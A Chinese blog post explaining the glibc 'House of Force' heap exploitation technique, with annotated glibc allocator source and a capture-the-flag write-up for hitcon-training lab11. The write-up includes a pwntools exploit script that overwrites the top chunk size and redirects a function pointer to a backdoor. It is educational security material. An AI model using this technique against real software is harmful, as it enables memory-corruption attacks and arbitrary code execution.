house_of_force

collectcrop Lv3

适用版本

glibc2.23 - 2.29

利用条件

  • 能控制top chunk的size域
  • 能获取heap_base,进而计算出top_chunk的地址
  • 能自由控制堆分配尺寸大小

利用思路

  • 将top chunk的size改得很大,使后续能够分配很大的堆块,从而使topchunk指向目标地址。

  • 精准计算top chunk的地址与target addr-0x10之间偏移,再进行细微的调整,使申请完一个chunk后,top chunk的data域直接位于target addr处。

  • 再申请一个chunk,往目标地址处写入值。

实现目的

任意地址写

利用原理

2.27glibc top chunk分配源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
victim = av->top;
size = chunksize (victim);

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb; //分配后剩下的大小
remainder = chunk_at_offset (victim, nb); //剩下的chunk
av->top = remainder; //更新top chunk
set_head (victim, nb | PREV_INUSE | //设置从原topchunk分配出的chunk的头部
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE); //设置新的top chunk的头部

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

其中nb定义在checked_request2size (bytes, nb);,这个宏内部定义了nb的值(也就是sz)。_int_malloc (mstate av, size_t bytes),bytes是该函数的参数,也就是我们调用malloc函数时传进去的数字。nb 实质上是用来存储经过调整后的内存请求大小的变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define REQUEST_OUT_OF_RANGE(req)                                 \
((unsigned long) (req) >= \
(unsigned long) (INTERNAL_SIZE_T) (-2 * MINSIZE))

/* pad request bytes into a usable size -- internal version */

#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/* Same, except also perform an argument and result check. First, we check
that the padding done by request2size didn't result in an integer
overflow. Then we check (using REQUEST_OUT_OF_RANGE) that the resulting
size isn't so large that a later alignment would lead to another integer
overflow. */
#define checked_request2size(req, sz) \
({ \
(sz) = request2size (req); \
if (((sz) < (req)) \ //调整后的sz一定要比传入的bytes要大
|| REQUEST_OUT_OF_RANGE (sz)) \ //一般都会满足,申请的大小不要太大就行
{ \
__set_errno (ENOMEM); \
return 0; \
} \
})

这里我们如果申请一个大小为负数的chunk,实际上nb经request2size处理后是一个非常大的正数,但加上一定值后溢出,也就实现了正常的正数与负数的运算。我们的topchunk实际上会向低地址处偏移。需要注意的是,申请一个大小为负数的chunk时,这个负数会被unsigned int转换成一个非常大的数。这时如果我们这个转换后的数的大小大于我们修改的top chunk的size,malloc 将尝试扩展堆空间,这时候就会调用 sysmalloc,其中就会报错退出。所我们一般直接把top chunk的size改成-1,也就是0xffffffffffffffff。基本就可以通过所有检测。

由于我们要精准控制申请后的大小来使top chunk落在想要的位置,也就是要控制request2size(req)的值

1
2
3
4
5
6
7
8
9
#define MALLOC_ALIGNMENT_MASK (MALLOC_ALIGNMENT - 1)	//32位系统上通常为0x7,64位上为0xf
#define SIZE_SZ (sizeof(size_t)) //32位系统上通常为4,64位上为8
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
#define MIN_CHUNK_SIZE (offsetof(struct malloc_chunk, fd_nextsize)) //0x20

(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

由于(req) + SIZE_SZ + MALLOC_ALIGN_MASK一般都会大于MINSIZE,所以我们就要使我们输入req为target_offset - SIZE_SZ - MALLOC_ALIGN_MASK,这样我们只要target_add是关于16字节对齐的,那么最后申请出chunk就会使top_chunk偏移到我们想要的地址处。

题目分析

hitcontraning_lab11

我们可以发现有对v4中函数指针的调用,而v4是一个指向堆的指针,那么我们就可以想办法改掉其中的函数指针实现任意地址的跳转,而程序中又有magic后门函数,所以思路就是改位于v4+8位置处的函数指针为magic,最后再传入5来调用magic。

可以发现change_item方法中我们可以任意控制输入大小,从而造成堆溢出,这里其实也可以用overlapping来构造double free,不过显然house_of_force更快更方便。

先把板子套上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def add(size,content):
p.sendlineafter("Your choice:",'2')
p.sendlineafter("Please enter the length of item name:",str(size).encode())
p.sendlineafter("Please enter the name of item:",content)

def show():
p.sendlineafter("Your choice:",'1')

def edit(idx,size,content):
p.sendlineafter("Your choice:",'3')
p.sendlineafter("Please enter the index of item:",str(idx).encode())
p.sendlineafter("Please enter the length of item name:",str(size).encode())
p.sendlineafter("Please enter the new name of the item:",content)

def delete(idx):
p.sendlineafter("Your choice:",'4')
p.sendlineafter("Please enter the index of item:",str(idx).encode())

def end():
p.sendlineafter("Your choice:",'5')

具体打法:

首先溢出改top chunk的size域

1
2
3
4
magic = 0x0000000000400D49

add(0x30,b"AAAA") #0
edit(0,0x40,b"A"*0x38+p64(0xfffffffffffffff1))

然后算出偏移后申请一个目标大小的chunk

1
2
off = -0x60 - 0x8 - 0xf
add(off,b"AAAA") #1

此时我们发现top chunk已经到了目标位置处,再申请一个chunk就可以改写目标位置函数指针了。

1
2
3
4
add(0x10,p64(magic)*2)
end()

p.interactive()
  • 标题: house_of_force
  • 作者: collectcrop
  • 创建于 : 2024-10-03 00:32:38
  • 更新于 : 2024-11-23 19:44:34
  • 链接: https://collectcrop.github.io/2024/10/03/house-of-force/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。